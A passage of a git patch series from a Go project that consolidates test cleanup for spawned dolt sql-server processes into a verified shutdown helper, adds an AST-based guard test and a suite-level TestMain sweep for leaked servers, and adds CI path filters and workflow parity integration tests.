"127.0.0.1", Port: portInt} @@ -228,11 +220,7 @@ func TestNewExternalDoltServerUOWProvider_FreshInitSelfHealsAfterMidPassFailure( storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) logPath := filepath.Join(t.TempDir(), "server.log") // Fire exactly once, right after migration step 1 (create issues) has @@ -319,11 +307,7 @@ func TestNewExternalDoltServerUOWProvider_PreexistingDirtyDatabaseIsNotHealed(t storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) logPath := filepath.Join(t.TempDir(), "server.log") ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) diff --git a/internal/storage/uow/lostupdate_dolt_test.go b/internal/storage/uow/lostupdate_dolt_test.go index 1f1a3c393..9bf15d1ef 100644 --- a/internal/storage/uow/lostupdate_dolt_test.go +++ b/internal/storage/uow/lostupdate_dolt_test.go @@ -71,11 +71,7 @@ func TestUOW_ConcurrentMergeOps_NoLostUpdate(t *testing.T) { storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) logPath := filepath.Join(t.TempDir(), "server.log") ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second) diff --git a/internal/storage/uow/shared_server_cleanup_guard_test.go b/internal/storage/uow/shared_server_cleanup_guard_test.go new file mode 100644 index 000000000..83cf96a4e --- /dev/null +++ b/internal/storage/uow/shared_server_cleanup_guard_test.go @@ -0,0 +1,268 @@ +package uow + +import ( + "go/ast" + "go/parser" + "go/token" + "io/fs" + "path/filepath" + "sort" + "strings" + "testing" +) + +// providerConstructors are the calls that make this package provision a +// shared-server workspace: each one starts, or attaches to, a detached +// `dolt sql-server` whose data directory is a t.TempDir(). +var providerConstructors = map[string]bool{ + "NewDoltServerUOWProvider": true, + "NewExternalDoltServerUOWProvider": true, +} + +// shutdownCallers are the only functions allowed to call proxy.Shutdown +// directly. Everything else goes through verifiedShutdownCleanup, which is +// the one that also asserts the daemon is gone. +var shutdownCallers = map[string]bool{ + "verifiedShutdownCleanup": true, + // shutdownOnInterrupt is the SIGINT/SIGTERM handler: it runs in a + // goroutine on its way to os.Exit, where no assertion could be reported + // and no *testing.T is still live to report it to. + "shutdownOnInterrupt": true, +} + +// validationErrorMarker is the ONLY thing that exempts a function from rule +// C: a test whose name ends in it declares, in the one place a reader and a +// linter both see, that it calls a provider constructor purely to watch it +// reject bad arguments — the constructor returns before starting anything, so +// there is no daemon to clean up. +// +// It is a name marker rather than an inference from the body because every +// body-shaped heuristic we tried was dodgeable. Exempting "any function that +// calls require.Error" let +// TestNewExternalDoltServerUOWProvider_PreexistingDirtyDatabaseIsNotHealed — +// which provisions a REAL server, asserts NoError on the constructor, and only +// later asserts an error from a query — delete both cleanup helpers and stay +// green (wy-j2zc8q, mutation G). A marker cannot be reached by accident: a +// fixture has to be renamed to claim it. +const validationErrorMarker = "_ValidationErrors" + +// errorAssertions are the calls that make the marker's claim true. They do not +// grant the exemption (see above); they are checked AGAINST a function that +// claims it, so a renamed-but-provisioning fixture cannot wear the marker +// silently. +var errorAssertions = map[string]bool{ + "Error": true, // require.Error / assert.Error + "ErrorContains": true, +} + +// successAssertions are the calls that make the marker's claim FALSE. A +// constructor that was rejected returns before starting anything, so a +// validation-error fixture has nothing that can succeed: no require.NoError, +// no assert.NoError anywhere in its body. Checking this closes the one dodge +// the marker alone leaves open — renaming a fixture that really does provision +// a server so it wears the marker. +var successAssertions = map[string]bool{ + "NoError": true, // require.NoError / assert.NoError +} + +// TestEveryServerFixtureRegistersVerifiedCleanup is the structural half of +// this package's leak defense. +// +// verifiedShutdownCleanup only helps the fixtures that call it, and the leak +// it exists to stop (wy-j2zc8q) came back three times precisely because the +// cleanup idiom was copy-pasted per fixture: nine near-identical t.Cleanup +// blocks, any of which could be written slightly differently — or omitted — +// in a tenth fixture without anything noticing until a dev box's process +// table showed a detached sql-server serving a directory deleted hours +// earlier. So the rule is checked against this package's own source. +// +// Three rules, over the functions that take a *testing.T (only those can +// register a cleanup at all — a harness METHOD like openProvider reuses a +// root whose owner already registered one, so it is not the place to look): +// +// A. shutdownOnInterrupt and verifiedShutdownCleanup come as a pair. They +// cover the two ways a fixture's server outlives it — a signal, and a +// returning run — and a fixture copied from another with one half +// dropped is the realistic regression. +// B. Only the two sanctioned helpers call proxy.Shutdown; every fixture +// goes through verifiedShutdownCleanup, which also asserts the pid died. +// C. A function that calls a provider constructor registers the cleanup, +// unless its NAME ends in validationErrorMarker — an explicit, greppable +// allowlist rather than an inference from the body, which a fixture that +// provisions a real server and also asserts an error could dodge. +// +// What it does NOT catch: a fixture that provisions a workspace through some +// future path this file does not name. That is what the non-vacuity counters +// at the bottom are for — they fail if a rule stopped matching anything, +// rather than letting the guard go quietly green on a package it no longer +// understands. +func TestEveryServerFixtureRegistersVerifiedCleanup(t *testing.T) { + fset := token.NewFileSet() + pkgs, err := parser.ParseDir(fset, ".", func(fi fs.FileInfo) bool { + return strings.HasSuffix(fi.Name(), "_test.go") + }, 0) + if err != nil { + t.Fatalf("parse package sources: %v", err) + } + if len(pkgs) == 0 { + t.Fatal("no test sources parsed; every rule below would pass vacuously") + } + + var paired, provisioning, exempted int + for _, pkg := range pkgs { + for path, file := range pkg.Files { + base := filepath.Base(path) + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok { + continue + } + name := fn.Name.Name + calls := calledNames(fn) + + // Rule B applies to every function, helper or not. + if calls["Shutdown"] && !shutdownCallers[name] { + t.Errorf("%s: %s calls proxy.Shutdown directly; use verifiedShutdownCleanup(t, storeRootDir), "+ + "which also asserts the dolt sql-server pid is gone (wy-j2zc8q)", base, name) + } + if !takesTestingT(fn) || shutdownCallers[name] { + continue + } + + // Rule A. + switch { + case calls["shutdownOnInterrupt"] && !calls["verifiedShutdownCleanup"]: + t.Errorf("%s: %s guards a store root with shutdownOnInterrupt but never registers "+ + "verifiedShutdownCleanup(t, storeRootDir); its dolt sql-server survives a run that "+ + "ends normally (wy-j2zc8q)", base, name) + case calls["verifiedShutdownCleanup"] && !calls["shutdownOnInterrupt"]: + t.Errorf("%s: %s registers verifiedShutdownCleanup but never calls "+ + "shutdownOnInterrupt(t, storeRootDir); its dolt sql-server survives Ctrl-C (wy-j2zc8q)", + base, name) + case calls["shutdownOnInterrupt"]: + paired++ + } + + // Rule C. + if !callsAny(calls, providerConstructors) { + continue + } + if strings.HasSuffix(name, validationErrorMarker) { + // The marker must not be a lie: a function claiming it + // has to actually assert a rejection, and must assert + // nothing SUCCEEDED — a rejected constructor leaves no + // live server, so there is nothing to NoError over. + if !callsAny(calls, errorAssertions) { + t.Errorf("%s: %s is named %q but never asserts the constructor rejected its "+ + "arguments (no require.Error/ErrorContains); drop the marker and register "+ + "verifiedShutdownCleanup(t, storeRootDir) (wy-j2zc8q)", + base, name, validationErrorMarker) + } + if callsAny(calls, successAssertions) { + t.Errorf("%s: %s wears the %q exemption but calls require.NoError/assert.NoError; "+ + "a fixture with something that can succeed is provisioning, not validating — "+ + "drop the marker and register verifiedShutdownCleanup(t, storeRootDir) (wy-j2zc8q)", + base, name, validationErrorMarker) + } + exempted++ + continue + } + provisioning++ + if !calls["verifiedShutdownCleanup"] { + t.Errorf("%s: %s provisions a shared-server workspace but never calls "+ + "verifiedShutdownCleanup(t, storeRootDir); a detached dolt sql-server will outlive "+ + "the run (wy-j2zc8q)", base, name) + } + } + } + } + + // Non-vacuity. Each rule is an assertion about functions that exist; if + // the fixtures were renamed out from under the name sets above, every + // loop body would stop running and the guard would pass while watching + // nothing. + if paired == 0 { + t.Fatal("no function pairs shutdownOnInterrupt with verifiedShutdownCleanup; rule A matched nothing") + } + if provisioning == 0 { + t.Fatalf("no *testing.T function calls any of %v; rule C is watching constructors this package "+ + "no longer uses", sortedKeys(providerConstructors)) + } + // Note there is deliberately NO non-vacuity floor on `exempted`: if the + // marker stops matching, rule C gets STRICTER, and the validation-error + // fixtures fail it loudly rather than anything going quietly green. The + // census is logged so a shrinking numerator is visible in -v output. + t.Logf("rule A paired %d fixture(s); rule C checked %d provisioning function(s), exempted %d marked %q", + paired, provisioning, exempted, validationErrorMarker) +} + +// takesTestingT reports whether fn accepts a *testing.T. Only such a function +// can register a t.Cleanup, so only such a function can be held to the rules +// above: openProvider and friends are methods on a harness whose constructor +// already owns the root's cleanup. +func takesTestingT(fn *ast.FuncDecl) bool { + if fn.Type.Params == nil { + return false + } + for _, field := range fn.Type.Params.List { + star, ok := field.Type.(*ast.StarExpr) + if !ok { + continue + } + sel, ok := star.X.(*ast.SelectorExpr) + if !ok { + continue + } + pkg, ok := sel.X.(*ast.Ident) + if ok && pkg.Name == "testing" && sel.Sel.Name == "T" { + return true + } + } + return false +} + +// calledNames returns the set of function names called anywhere in fn's body, +// by their final identifier: both `Shutdown` from `proxy.Shutdown(...)` and +// the bare `verifiedShutdownCleanup(...)`. Calls inside closures — the +// t.Run(…, func(t *testing.T){…}) subtests these fixtures use — are included, +// and attributed to the enclosing declaration. +// +// Matching the selector's last segment rather than the full `proxy.Shutdown` +// keeps the guard working if the import is ever aliased, at the price of also +// matching some other package's `Shutdown` — a false positive worth having in +// a rule about not shutting servers down by hand. +func calledNames(fn *ast.FuncDecl) map[string]bool { + names := make(map[string]bool) + ast.Inspect(fn, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + switch f := call.Fun.(type) { + case *ast.Ident: + names[f.Name] = true + case *ast.SelectorExpr: + names[f.Sel.Name] = true + } + return true + }) + return names +} + +func callsAny(calls, want map[string]bool) bool { + for name := range want { + if calls[name] { + return true + } + } + return false +} + +func sortedKeys(m map[string]bool) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} diff --git a/internal/storage/uow/shared_server_cleanup_test.go b/internal/storage/uow/shared_server_cleanup_test.go new file mode 100644 index 000000000..0f12a85a2 --- /dev/null +++ b/internal/storage/uow/shared_server_cleanup_test.go @@ -0,0 +1,175 @@ +package uow + +import ( + "testing" + "time" + + "github.com/steveyegge/beads/internal/procid" + "github.com/steveyegge/beads/internal/storage/dbproxy/pidfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" +) + +// verifiedShutdownCleanup is the ONE cleanup every fixture in this package +// that provisions a shared-server workspace registers. It stops the proxy and +// the `dolt sql-server` it manages, and — when the stop did not report clean — +// asserts the recorded server PID is actually gone. +// +// Each of those fixtures used to inline +// +// t.Cleanup(func() { +// if err := proxy.Shutdown(storeRootDir); err != nil { +// t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) +// } +// }) +// +// which stops the server on the happy path and, on the unhappy one, prints a +// line into a passing test's output and moves on. That is how this package +// produced detached sql-servers still serving temp trees that had been +// deleted hours earlier (wy-j2zc8q): `proxy.Shutdown` has several documented +// refusals — an unverifiable process record, a lock it could not acquire +// inside its 5s budget, a spawn still in flight — and every one of them left a +// live daemon behind a green run. Nine copies of the same silent handler also +// meant a tenth fixture could be written without one and nothing would notice. +// +// Pair it with shutdownOnInterrupt, which covers the SIGINT/SIGTERM path that +// skips t.Cleanup entirely. +func verifiedShutdownCleanup(t *testing.T, storeRootDir string) { + t.Helper() + t.Cleanup(func() { + // Read the backend's record BEFORE shutting down: a successful + // proxy.Shutdown removes the pid file, so afterwards there is + // nothing left to verify against. + record := backendServerRecord(t, storeRootDir) + err := proxy.Shutdown(storeRootDir) + if err == nil { + // Shutdown killed the backend AND confirmed its exit + // (waitForRecordedProcessExit) before removing the record. + // There is nothing left to check. + return + } + t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) + requireBackendExited(t, record) + }) +} + +const ( + // backendExitTimeout is how long a test waits for the dolt sql-server to + // leave the process table after proxy.Shutdown failed. It is generous on + // purpose: Shutdown's own budget is already 5s of confirmation plus a 2s + // post-kill minimum, and this only runs on the error path, where the + // interesting outcome is "still there", not "took a while". + backendExitTimeout = 30 * time.Second + backendExitPoll = 50 * time.Millisecond +) + +// backendServerRecord returns the pid file the proxy's child manager wrote +// for the dolt sql-server under rootDir (server.PIDFileName). nil means there +// is nothing to verify: no server was started, or it shut down cleanly and +// removed its record. +// +// The whole record is returned, not just the PID: Birth is the process-birth +// token that makes the PID safe to act on at all. +func backendServerRecord(t *testing.T, rootDir string) *pidfile.PidFile { + t.Helper() + pf, err := pidfile.Read(rootDir, server.PIDFileName) + if err != nil { + t.Logf("read %s in %s: %v", server.PIDFileName, rootDir, err) + return nil + } + if pf == nil || pf.Pid <= 0 { + return nil + } + return pf +} + +// requireBackendExited fails the test if the recorded dolt sql-server is +// still running after proxy.Shutdown returned an ERROR, then force-kills it +// so the leak does not outlive the run. +// +// It is deliberately a t.Errorf and not a t.Logf: a surviving server holds +// the temp tree the test is about to delete, which is precisely how this +// package produced sql-servers still serving directories that had been gone +// for hours (wy-j2zc8q). A leak must be visible where it is caused, not +// discovered later by a sweep. +// +// Every step is gated on procid birth identity rather than the bare PID. The +// server is not this process's child, so its PID is reusable the instant it +// exits, and proxy.Shutdown deliberately REFUSES to signal a record it cannot +// verify (ErrUnverifiableProcess) — killing that same PID here would defeat +// the exact protection the package went out of its way to provide. A record +// with no Birth token, or one whose token no longer matches, is therefore +// left alone: not the server we recorded, nothing to report. +func requireBackendExited(t *testing.T, pf *pidfile.PidFile) { + t.Helper() + if pf == nil || pf.Pid <= 0 { + return + } + if pf.Birth == "" { + // A record from before birth tokens were written. There is no safe + // way to ask about that PID, so the check is skipped — say so, rather + // than looking like a silent pass. + t.Logf("backend record for pid %d carries no birth token; skipping the survived-Shutdown check", pf.Pid) + return + } + token := procid.Token(pf.Birth) + + deadline := time.Now().Add(backendExitTimeout) + for { + same, err := procid.Verify(pf.Pid, token) + if err != nil { + t.Logf("procid.Verify(%d): %v", pf.Pid, err) + return + } + if !same { + // Either the process is gone, or the PID now belongs to + // something else. Either way our server is not running. + return + } + if time.Now().After(deadline) { + break + } + time.Sleep(backendExitPoll) + } + + handle, err := procid.Open(pf.Pid, token) + if err != nil { + if backendStillRunning(t, pf.Pid, token) { + t.Errorf("dolt sql-server pid %d survived Shutdown by more than %s and could not be opened to kill: %v", + pf.Pid, backendExitTimeout, err) + } + return + } + killErr := handle.Kill() + _ = handle.Close() + if killErr != nil { + if backendStillRunning(t, pf.Pid, token) { + t.Errorf("dolt sql-server pid %d survived Shutdown by more than %s and could not be killed: %v", + pf.Pid, backendExitTimeout, killErr) + } + return + } + t.Errorf("dolt sql-server pid %d survived Shutdown by more than %s (force-killed)", pf.Pid, backendExitTimeout) +} + +// backendStillRunning re-checks birth identity after procid.Open or +// Handle.Kill failed, and reports whether the recorded server is verifiably +// still there. +// +// Both calls verify the token themselves and return a plain "does not match +// token" error when it no longer does — which is exactly what a process that +// exited between the wait loop's last poll and the kill attempt produces, and +// that error is NOT procid.IsProcessGone. Without this second look, a server +// that shut down a few milliseconds late would be reported as one that +// survived Shutdown entirely. A verify that itself errors reports "not +// running": the run is over, and an inconclusive probe is not evidence of a +// leak. +func backendStillRunning(t *testing.T, pid int, token procid.Token) bool { + t.Helper() + same, err := procid.Verify(pid, token) + if err != nil { + t.Logf("procid.Verify(%d) after a failed kill attempt: %v", pid, err) + return false + } + return same +} diff --git a/internal/storage/uow/team_server_integration_test.go b/internal/storage/uow/team_server_integration_test.go index 5ce079653..2f1df42fc 100644 --- a/internal/storage/uow/team_server_integration_test.go +++ b/internal/storage/uow/team_server_integration_test.go @@ -39,11 +39,7 @@ func newTeamServerHarness(t *testing.T) *teamServerHarness { storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) return &teamServerHarness{ port: portInt, diff --git a/internal/storage/uow/testmain_test.go b/internal/storage/uow/testmain_test.go new file mode 100644 index 000000000..165b8b644 --- /dev/null +++ b/internal/storage/uow/testmain_test.go @@ -0,0 +1,78 @@ +package uow + +import ( + "fmt" + "os" + "testing" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" +) + +// suiteRootPrefix is this suite's os.MkdirTemp pattern without its random +// tail. SweepDeadSuiteRoots globs for it, so the two must not drift. +const suiteRootPrefix = "beads-storage-uow-tests-" + +// suiteTempRoot is the TestMain-owned temp directory that every t.TempDir() +// in this package lands under, so SweepSuiteTestServers has a root it can +// vouch for when it reaps leaked dolt sql-servers. +var suiteTempRoot string + +// TestMain gives this package the suite-lifecycle it was missing. +// +// The integration tests here (newTestUOWProvider) start a real proxied +// `dolt sql-server` whose data directory is a t.TempDir(). Cleanup was purely +// per-test — proxy.Shutdown in a t.Cleanup — and there was no TestMain at +// all, so a run killed by `go test -timeout` (which panics the binary and +// skips every Cleanup) left the server running with its data directory +// deleted out from under it, forever. Observed live on a dev box as a +// TestUOWDependencyEditorContract server still serving a temp dir that had +// been gone for hours (wy-j2zc8q). +func TestMain(m *testing.M) { + os.Exit(testMainInner(m)) +} + +func testMainInner(m *testing.M) int { + // Clear out the roots of earlier runs of this suite whose process is + // gone, before claiming one of our own. Roots with no owner marker, and + // roots whose owner is still running (a parallel package under + // scripts/test.sh, a second `go test`), are left untouched. + doltserver.SweepDeadSuiteRoots(os.TempDir(), suiteRootPrefix) + + // Pin TMPDIR under a suite-owned root so every t.TempDir() — including + // the storeRootDir a provider serves — is nested under something the + // post-run sweep may vouch for. Same pattern as cmd/bd/doctor's TestMain. + root, pinErr := testutil.PinSuiteTempRoot(suiteRootPrefix + "*") + if pinErr != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", pinErr) + return 1 + } + suiteTempRoot = root + defer os.RemoveAll(root) + + // Claim the root for this process so the NEXT run can tell our debris + // from a concurrent run's live tree. + if err := doltserver.WriteSuiteOwnerMarker(root); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not claim suite temp root %s: %v\n", root, err) + } + + code := m.Run() + + // Best-effort reap of any dolt sql-server still running under this run's + // own root — the backstop for a test whose Cleanup did not get to run. + swept := doltserver.SweepSuiteTestServers(root) + return doltserver.ApplyLeakPolicy("internal/storage/uow", code, swept) +} + +// TestTempDirLandsUnderSuiteSweepRoot guards the pinning above: if t.TempDir() +// ever stops landing under suiteTempRoot, the post-run sweep silently loses +// its scope and leaked sql-servers become unreapable again. +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + if suiteTempRoot == "" { + t.Fatal("TestMain did not pin suiteTempRoot; leaked dolt sql-server processes cannot be swept") + } + dir := t.TempDir() + if !testutil.PathUnderSuiteRoot(dir, suiteTempRoot) { + t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", dir, suiteTempRoot) + } +} diff --git a/internal/storage/uow/version_reconcile_integration_test.go b/internal/storage/uow/version_reconcile_integration_test.go index 7fb4ebda0..905d93d67 100644 --- a/internal/storage/uow/version_reconcile_integration_test.go +++ b/internal/storage/uow/version_reconcile_integration_test.go @@ -31,11 +31,7 @@ func newTestUOWProvider(t *testing.T) UnitOfWorkProvider { require.NoError(t, err) storeRootDir := t.TempDir() shutdownOnInterrupt(t, storeRootDir) - t.Cleanup(func() { - if err := proxy.Shutdown(storeRootDir); err != nil { - t.Logf("proxy.Shutdown(%s): %v", storeRootDir, err) - } - }) + verifiedShutdownCleanup(t, storeRootDir) cfgPath := writeServerConfig(t, port) logPath := filepath.Join(t.TempDir(), "server.log") diff --git a/internal/testutil/suite_temp.go b/internal/testutil/suite_temp.go index dbe7250aa..53b1860b4 100644 --- a/internal/testutil/suite_temp.go +++ b/internal/testutil/suite_temp.go @@ -2,12 +2,14 @@ package testutil import ( "os" + "path/filepath" + "strings" ) // PinSuiteTempRoot creates a suite-owned temp directory and points // GOTMPDIR, TMPDIR, TMP, and TEMP at it so testing.T.TempDir (Go 1.24+ // uses GOTMPDIR) and os.MkdirTemp land under a root -// SweepOrphanedTestServers can reap. +// SweepSuiteTestServers can reap. // // Call from TestMain before m.Run(). The caller owns cleanup: sweep // first, then RemoveAll the returned path. Never pass os.TempDir() as @@ -26,3 +28,33 @@ func PinSuiteTempRoot(pattern string) (string, error) { } return root, nil } + +// PathUnderSuiteRoot reports whether dir is root or nested under it, +// comparing symlink-resolved paths (macOS hands out /var paths that resolve +// to /private/var). +// +// It backs the TestTempDirLandsUnderSuiteSweepRoot guard that every suite +// pinning a root with PinSuiteTempRoot installs: if t.TempDir() ever stops +// landing under the pinned root, the post-run sweep silently loses its scope +// and leaked sql-servers become unreapable again. The guard lives with each +// suite (it needs that suite's package-level root), but this predicate is +// shared, because it is the piece most likely to need a synchronized fix +// later and per-suite copies drift silently (wy-j2zc8q). +func PathUnderSuiteRoot(dir, root string) bool { + dir = evalOrSelf(dir) + root = evalOrSelf(root) + if dir == root { + return true + } + sep := string(os.PathSeparator) + return strings.HasPrefix(dir, strings.TrimRight(root, sep)+sep) +} + +// evalOrSelf resolves symlinks in p, falling back to p itself when the path +// cannot be resolved (it may not exist yet, or a parent may be unreadable). +func evalOrSelf(p string) string { + if r, err := filepath.EvalSymlinks(p); err == nil { + return r + } + return p +} diff --git a/scripts/repro-dolt-prod-timeouts/main_test.go b/scripts/repro-dolt-prod-timeouts/main_test.go index 11d7138cf..5e8f4f114 100644 --- a/scripts/repro-dolt-prod-timeouts/main_test.go +++ b/scripts/repro-dolt-prod-timeouts/main_test.go @@ -495,6 +495,19 @@ func TestSeedProductionShapeFullSmallIssueCountRealSchema(t *testing.T) { if err := serverCmd.Start(); err != nil { t.Fatal(err) } + // Deliberately exempt from the suite-sweep contract every other package + // that spawns a `dolt sql-server` is wired into (internal/doltserver's + // SweepDeadSuiteRoots + SweepSuiteTestServers + ApplyLeakPolicy). + // This is a manual repro harness, and its cleanup is an unconditional + // Kill + Wait rather than a stop that can fail silently: the server is + // dead before t.TempDir() removes baseDir, so this package cannot produce + // the live-server-with-deleted-cwd state that another suite's post-run + // sweep reaps and fails on. A run killed outright (`go test -timeout`, + // Ctrl-C) does leak one, but with an intact cwd and no claimed suite + // root, so no sweep arm can reach it and no suite is misblamed for it. + // Wiring a TestMain here would buy only the killed-run reap; if that + // becomes worth it, the template is internal/storage/uow/testmain_test.go + // (wy-j2zc8q). t.Cleanup(func() { _ = serverCmd.Process.Kill() _ = serverCmd.Wait() From 4b9a40f6317091a7d5aa837590e1a35090387d94 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 22 Sep 2026 15:10:59 -0700 Subject: [PATCH 062/624] test: cover direct and proxied workflow front doors (#6303) * test: cover direct and proxied workflow front doors * test: run workflow parity coverage in CI (ga-p9iuv.14.2) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Julian Knutsen * fix(review): trigger the managed-local lane on its own test files Maintainer fixup for adopt-pr review of #6303. Synthesis/scorecard Finding 1 (minor, codex): the managed-local proxied lane is the only place BEADS_TEST_PROXIED_LOCAL=1 is set, yet none of its push/pull_request `paths:` patterns matched cmd/bd/mol_frontdoor_managed_local_integration_test.go. The new parity test could therefore only reach CI via merge_group:/workflow_dispatch: or an unrelated path touch -- never on an edit to the file itself. Add 'cmd/bd/*managed_local*' to both filters. Verified by re-deriving the filters with GitHub's glob semantics (`*` does not cross `/`): the file goes from unmatched to matched on both triggers, and the pattern matches no other file in cmd/bd. Also close the same gap for cmd/bd/proxied_outage_reconnect_integration_test.go, which hosts TestManagedLocalProxiedOutageReconnectContract and was equally unmatched. This is pre-existing (not introduced by #6303) and was not part of the reported finding, but it is the identical defect in the identical two lists: after this change every cmd/bd file defining a TestManagedLocalProxied* test triggers the lane that runs it. The lane's -test.list assertion is a subset check over a fixed name list, so neither test needs to be added there. Validated: actionlint clean, YAML parses, git diff --check clean, and the before/after filter derivation above. No production or test code changed. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 --- .github/workflows/proxied-local-smoke.yml | 4 + .../gate_frontdoor_parity_integration_test.go | 126 +++++ ...rontdoor_managed_local_integration_test.go | 64 +++ .../mol_frontdoor_parity_integration_test.go | 489 ++++++++++++++++++ 4 files changed, 683 insertions(+) create mode 100644 cmd/bd/gate_frontdoor_parity_integration_test.go create mode 100644 cmd/bd/mol_frontdoor_managed_local_integration_test.go create mode 100644 cmd/bd/mol_frontdoor_parity_integration_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index e19f4f8dd..c3430d291 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -23,6 +23,8 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/*managed_local*' + - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' - 'cmd/bd/proxied_integration_helpers_test.go' @@ -42,6 +44,8 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/*managed_local*' + - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' - 'cmd/bd/proxied_integration_helpers_test.go' diff --git a/cmd/bd/gate_frontdoor_parity_integration_test.go b/cmd/bd/gate_frontdoor_parity_integration_test.go new file mode 100644 index 000000000..1f251755f --- /dev/null +++ b/cmd/bd/gate_frontdoor_parity_integration_test.go @@ -0,0 +1,126 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os/exec" + "strings" + "testing" +) + +type gateFrontDoorRunner struct { + name string + dir string + env func(string) []string +} + +func (r gateFrontDoorRunner) run(t *testing.T, bd string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = r.dir + cmd.Env = r.env(r.dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err +} + +func (r gateFrontDoorRunner) mustRun(t *testing.T, bd string, args ...string) string { + t.Helper() + stdout, stderr, err := r.run(t, bd, args...) + if err != nil { + t.Fatalf("[%s] bd %s failed: %v\nstdout:\n%s\nstderr:\n%s", + r.name, strings.Join(args, " "), err, stdout, stderr) + } + return stdout +} + +// TestProxiedServerGateFrontDoorDirectServerProxyParity keeps gate lifecycle writes on the +// same UOW front in direct SQL and proxied-server modes. Gate IDs are generated +// independently, so assertions compare stable lifecycle and blocking facts. +func TestProxiedServerGateFrontDoorDirectServerProxyParity(t *testing.T) { + requireSharedProxiedServer(t) + bd := buildEmbeddedBD(t) + directProject := newServerModeProject(t, bd, "mg") + proxiedProject := newSharedProxiedProject(t, bd, "mg") + modes := []gateFrontDoorRunner{ + {name: "direct-sql", dir: directProject.dir, env: func(string) []string { return directProject.env }}, + {name: "proxied", dir: proxiedProject.dir, env: bdProxiedEnv}, + } + + for _, r := range modes { + r.mustRun(t, bd, "create", "Gate target", "--id", "mg-target") + } + + for _, r := range modes { + created := r.mustRun(t, bd, "gate", "create", "--type=human", "--blocks", "mg-target", "--reason", "review required") + gateID := parseCreatedGateID(t, created) + for _, want := range []string{"Blocks: mg-target", "Reason: review required", "Resolve with: bd gate resolve " + gateID} { + if !strings.Contains(created, want) { + t.Errorf("[%s] gate create missing %q:\n%s", r.name, want, created) + } + } + + show := r.mustRun(t, bd, "gate", "show", gateID) + for _, want := range []string{gateID, "Status: open", "Await Type: human", "Reason: review required"} { + if !strings.Contains(show, want) { + t.Errorf("[%s] gate show missing %q:\n%s", r.name, want, show) + } + } + + // A waiter is persisted by the same gate UOW and remains visible in + // list output before resolution. + r.mustRun(t, bd, "gate", "add-waiter", gateID, "worker1") + var rows []map[string]any + list := r.mustRun(t, bd, "gate", "list", "--all", "--json") + if err := json.Unmarshal([]byte(strings.TrimSpace(list)), &rows); err != nil { + t.Fatalf("[%s] parse gate list: %v\n%s", r.name, err, list) + } + var row map[string]any + for _, candidate := range rows { + if candidate["id"] == gateID { + row = candidate + break + } + } + if row == nil || row["status"] != "open" { + t.Fatalf("[%s] gate list row = %v, want open gate %s", r.name, row, gateID) + } + waiters, ok := row["waiters"].([]any) + if !ok || len(waiters) != 1 || waiters[0] != "worker1" { + t.Errorf("[%s] gate list waiters = %v, want [worker1]", r.name, row["waiters"]) + } + + resolved := r.mustRun(t, bd, "gate", "resolve", gateID, "--reason", "approved") + if !strings.Contains(resolved, "Gate resolved: "+gateID) { + t.Errorf("[%s] gate resolve output missing confirmation:\n%s", r.name, resolved) + } + closed := r.mustRun(t, bd, "gate", "show", gateID) + if !strings.Contains(closed, "Status: closed") { + t.Errorf("[%s] gate remains open after resolve:\n%s", r.name, closed) + } + + // `gate check` is the watcher-facing read/transaction boundary. A + // resolved human gate is a clean no-op and must still exit successfully. + checked := r.mustRun(t, bd, "gate", "check", "--type", "human") + const wantGateCheck = "No open gates of type 'human' found." + if strings.TrimSpace(checked) != wantGateCheck { + t.Errorf("[%s] gate check output = %q, want %q", r.name, checked, wantGateCheck) + } + + // A bead gate exercises the transactional watcher path: once the + // awaited bead closes, gate check must close the gate and report one + // resolution (rather 